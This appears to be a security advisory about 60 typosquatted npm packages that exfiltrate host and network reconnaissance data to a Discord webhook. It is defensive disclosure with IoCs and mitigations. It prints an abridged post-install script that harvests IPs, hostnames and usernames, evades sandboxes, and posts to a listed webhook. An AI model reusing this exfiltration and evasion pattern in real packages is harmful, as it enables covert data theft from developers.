Massive npm Supply Chain Attack 60 Malicious Packages Exfiltrate Sensitive Network Data to Discord

A sophisticated supply chain attack targeting the npm ecosystem has been uncovered by Socket’s Threat Research Team, involving 60 malicious packages that stealthily collect sensitive host and network data from developer machines and CI/CD pipelines.

The campaign, active since May 12, 2024, uses typosquatted package names and post-install scripts to exfiltrate critical reconnaissance data to a Discord webhook controlled by threat actors.

Despite being reported to npm, all packages remain live at the time of writing, with cumulative downloads surpassing 3,000.

Campaign Overview

Key Details

Scope: 60 packages published across three npm accounts (`bbbb335656`, `sdsds656565`, `cdsfdfafd1232436437`), each linked to sequential Gmail addresses (`npm9960+1@gmail[.]com`, etc.).
Timeline: First package uploaded on May 12; the most recent appeared hours before Socket’s disclosure, signaling an ongoing operation.
Targets: Windows, macOS, and Linux systems, including developer workstations and CI/CD nodes.
Objective: Reconnaissance to map internal networks, link private environments to public infrastructure, and prepare for future intrusions.

Attack Workflow

Infection: Developers install malicious packages via typosquatted names (e.g., `react-xterm2` vs. legitimate `react-xterm`).
Post-Install Execution: A script embedded in `package.json` triggers automatically during `npm install`.
Data Harvesting: Collects hostnames, internal/external IPs, DNS servers, usernames, and directory paths.
Sandbox Evasion: Aborts execution in environments linked to AWS, GCP, or research labs (e.g., `compute.amazonaws.com`, `LD.local`).
Exfiltration: Sends JSON payloads to a Discord webhook, enabling real-time tracking of victims.

Technical Deep Dive

Malicious Code Analysis

The script, identical across all 60 packages, leverages Node.js modules (`os`, `dns`, `https`) to gather intelligence: ```javascript const os = require("os"); const dns = require("dns"); const https = require("https");

// Collect internal IPs and hostnames function getIPAddress() { const networkInterfaces = os.networkInterfaces(); // ... iterates NICs to find non-internal IPv4 addresses }

// Fetch external IP and ISP details via ipinfo.io function getExternalIP(cb) { https.get('https://ipinfo.io/json', (res) => { ... }); }

// Evade sandboxes if (externalHost.includes("compute.amazonaws.com") || homedir.match(/mal_data/i)) { return; }

// Exfiltrate to Discord const webhookURL = "hxxps://discord[.]com/api/webhooks/1330015051482005555/..."; https.request(webhookURL, ...).write(trackingData); ```

Data Exfiltrated

Host Details: `os.hostname()`, `os.userInfo().username`, `os.homedir()`.
Network Intelligence: Internal/external IPs, DNS servers (`dns.getServers()`), ISP metadata (from `ipinfo.io`).
Project Context: `package.json` name, version, installation path (`__dirname`).

Evasion Techniques

The script avoids analysis environments by checking:

Cloud provider DNS strings (AWS, GCP).
Lab-related hostnames (e.g., `LD.local`).
Usernames or directories linked to research (e.g., `malicious`, `justin`).

Indicators of Compromise (IoCs)

Malicious Packages

npm Account	Packages (20 each)
`bbbb335656`	`seatable`, `hermes-inspector-msggen`, `flipper-plugins`, `e-learning-garena`, `credit-risk`
`sdsds656565`	`react-xterm2`, `datamart`, `garena-admin`, `coral-web-be`, `kyutai-client`
`cdsfdfafd1232436437`	`seamless-sppmy`, `netvis`, `mbm-dgacha`, `gunbazaar`, `dof-ff`

Full list of 60 packages available in Appendix.

Infrastructure

Discord Webhook: `hxxps://discord[.]com/api/webhooks/1330015051482005555/5fll497pcjzKBiY3b_oa9YRh-r5Lr69vRyqccawXuWE_horIlhwOYzp23JWm-iSXuPfQ`
External Service: `ipinfo.io/json` (to geolocate victims).

MITRE ATT&CK Mapping

Tactic	Technique	Details
Initial Access	T1195.002 (Compromise Software Supply Chain)	Typosquatted npm packages.
Execution	T1059.007 (JavaScript Execution)	Post-install script triggered by `npm install`.
Exfiltration	T1567.004 (Exfiltration Over Webhook)	Data sent to Discord.
Reconnaissance	T1590.005 (IP Addresses), T1590.002 (DNS)	Harvests internal/external IPs and DNS.

Implications and Risks

1. Supply Chain Vulnerabilities

CI/CD Exposure: Compromised build servers leak internal registry URLs, paving the way for dependency confusion attacks.
Network Mapping: Internal IPs and DNS data enable threat actors to chart network topology for lateral movement.

2. Future Attack Scenarios

Targeted Ransomware: Mapped networks could face tailored ransomware or data-wiper attacks.
Credential Theft: Exposed project paths and usernames facilitate phishing and social engineering.

3. npm Ecosystem Weaknesses

Delayed Takedowns: Despite reports, npm has yet to remove packages, highlighting response gaps.
Post-Install Script Risks: npm allows unrestricted use of install hooks, a frequent abuse vector.

Expert Insights

Socket’s Threat Research Team: > _“This campaign isn’t just stealing data—it’s laying the groundwork for precision strikes. By knowing which developers use which tools, attackers can craft convincing spear-phishing lures or sabotage CI/CD pipelines.”_

> _“Discord’s API is increasingly abused for low-cost, high-reward data exfiltration. Unlike traditional C2 servers, webhooks blend into legitimate traffic, evading detection.”_

Mitigation Strategies

For Developers

Audit Dependencies:

   npm ls --all # Check nested dependencies

Cross-reference projects against the IoCs list.

Disable Install Scripts:

   npm config set ignore-scripts true

Use Lockfiles: Enforce `package-lock.json` to prevent dependency hijacking.

For Organizations

Deploy Dependency Scanning: Tools like Socket or Snyk flag malicious patterns (e.g., DNS/IP harvesting).
Harden CI/CD:
Restrict outbound traffic to block Discord webhooks.
Use ephemeral build environments to limit data exposure.
Network Segmentation: Isolate developer machines from critical infrastructure.

For npm

Mandate 2FA for Publishers: Prevent disposable account abuse.
Automated Script Analysis: Scan packages for risky hooks pre-publication.